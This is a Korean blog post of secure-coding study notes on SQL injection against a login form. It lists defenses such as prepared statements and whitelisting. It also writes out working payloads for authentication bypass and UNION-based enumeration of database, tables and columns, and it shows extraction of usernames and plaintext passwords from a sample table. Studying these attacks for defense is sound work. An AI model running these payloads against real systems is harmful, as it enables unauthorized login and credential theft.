본문 바로가기
공부 기록

[SECURE] SQL Injection - login

by 타태 2021. 6. 29.

 

2021.05.25 - [인턴업무] - [AXIOS] Ajax를 Axios로 변환하기

 

[AXIOS] Ajax를 Axios로 변환하기

2021.05.24 - [인턴업무] - [MYBATIS] ibatis를 mybatis로 변환하기 [MYBATIS] ibatis를 mybatis로 변환하기 2021.05.19 - [K-digital training X 멀티 캠퍼스/프로젝트] - [UI/UX] Chatting_Area - 채팅창 구현..

ktae23.tistory.com

 

* 인턴 업무 진행 중 시큐어 코딩, 그 중 SQL Injection 파트를 맡아 진행하며 공부 한 내용을 정리한다

 

정상 로그인

  • 로그인폼에 ID와 PW를 입력하여 로그인 버튼을 누른다
  • 로그인폼에서 전송 된 파라미터 값을 DB와 비교 후 일치하는 값이 있을 경우 통과 된다.

 

비정상 로그인

주석처리

  • ID 값 뒤에 ‘ --’를 넣어 검증 쿼리의 뒷 부분을 주석처리한다.
  • PW 검증 없이 로그인 성공

blind

  • PW에 ‘ or’1’=’1’을 넣어 항상 참이 되도록 쿼리를 조작가장 먼저 가입 된 계정으로 로그인 성공, 보통 관리자 계정
  • union : 2개 이상의 쿼리를 연결하여 DB 내용을 얻어 냄
    • 원래의 요청에 한 개의 추가 쿼리를 삽입하여 컬럼 갯수, 위치, 정보를 얻는다.
  • 컬럼의 개수와 데이터 형식을 맞춰야 한다

union

  • 2개 이상의 쿼리를 연결하여 DB 내용을 얻어 냄
  • ID입력창에 'or'1'='1' order by 5-- 를 넣어 게시물이 나오지 않는 번호가 나온다면 컬럼의 수를 알 수 있다.
  • ID입력창에 ' union select 1,2,3,4,5,(컬럼수만큼) -- 을 반복하여 로그인이 될때까지 확인하여 컬럼의 수를 알 수 있다.

 

방어 방법

  • preparedStatement 클래스와 하위 메소드 executeQuery(), execute(), executeUpdate()를 사용
  • preparedStatement 클래스를 사용할 수 없는 환경이라면, 입력 값을 필터링 한 후 사용
    • 필터링 기준은 SQL 구문 제한, 특수문자 제한, 길이제한을 복합적으로 사용.
    • 키워드를 공격과 의미 없는 단어로 치환하는 필터 작성
  • 에러메시지 노출되지 않도록 페이지 제작
  • 특수문자, 불필요한 문자 체크 등의 블랙리스트 방식보다는 영어, 숫자인지 등을 체크하는 화이트리스트 방식을 권장

 

공격 방법

' or '1'='1
  • 위 처럼 쿼리문 중간에 들어갔을 때 항상 참이 되는 구문을 입력
"SELECT * FROM [USERTABLE] WHERE ID ='" + ID + "' AND PW ='" + PW + "'";

위와 같은 코드에 들어가면

"SELECT * FROM [USERTABLE] WHERE ID ='' or '1'='1' AND PW ='' or '1'='1'";

이렇게 항상 참일수 밖에 없는 조건식이 완성 된다.

 

  • ID, PW 중 하나를 넣고 사용해도 인증 우회가 가능하고 둘 다 넣을 경우 가장 먼저 가입 된 계정으로 로그인 된다.
    • 보통 관리자 계정을 가장 먼저 생성하기 때문에 관리자 계정으로 로그인 될 확률이 높다.
user' --
  • 또는 위 처럼 ID 검증 이후의 쿼리문 을 주석처리하여 PW 검증 없이 로그인 가능
"SELECT * FROM [USERTABLE] WHERE ID ='" + ID + "' AND PW ='" + PW + "'";

위와 같은 코드에 들어가면

"SELECT * FROM [USERTABLE] WHERE ID ='user' --' AND PW =;

--이후의 문장은 주석처리 되어 비밀번호 검증 없이 로그인이 가능하다

 

1.컬럼 개수 알아내기

'or'1'='1' union select null --
'or'1'='1' union select null,null--
'or'1'='1' union select null,null,null--
'or'1'='1' union select null,null,null,null--
  • ID입력창에 에러페이지가 나오지 않을 때까지 반복
  • 안나오면 null 개수가 컬럼의 수

 

'or'1'='1' order by 1--
'or'1'='1' order by 2--
'or'1'='1' order by 3--
'or'1'='1' order by 4--
  • 에러페이지가 나올 때까지 반복
    • 나오면 직전 숫자가 컬럼의 개수

 

2. DB 이름 알아내기

'or'1'='1' union select null,null, database(),null --
  • 3번 컬럼 자리에 데이터베이스 이름이 표시
  • 절대 사용되지 않을 인덱스 값을 넣어 뒤에 오는 명령이 실행 되도록 한다
3. 테이블 이름 알아내기
'or'1'='1' union select null,group_concat(table_name),null,null from information_schema.tables where table_type='TABLE'--
  • 테이블 이름들이 한줄로 묶여서 표시
  • 절대 사용되지 않을 인덱스 값을 넣어 뒤에 오는 명령이 실행 되도록 한다
결과 : USERSTBL,BOARDSTBL

 

4. 컬럼명 알아내기

  • 컬럼이름들이 한줄로 묶여서 표시
  • 절대 사용되지 않을 인덱스 값을 넣어 뒤에 오는 명령이 실행 되도록 한다

 

USERSTBL

'or'1'='1' union select null,null, group_concat(column_name),null from information_schema.columns where table_name='USERSTBL'--
결과 : ID,USERID,USERPW,USERNAME

 

5. 데이터 추출하기

USERSTBL

'or'1'='1' union select null,group_concat(USERID),null,null from USERSTBL--
'or'1'='1' union select null,group_concat(USERPW),null,null from USERSTBL--
'or'1'='1' union select null,group_concat(USERNAME),null,null from USERSTBL--
결과 : Admin,Manager,User,Test,Secure,Ceo,Cto
결과 : Admin1234,Manager1234,User1234,Test1234,Secure1234,Ceo1234,Cto1234
결과 : 관리자,매니저,사용자,테스터,보안,대표이사,기술이사
반응형

댓글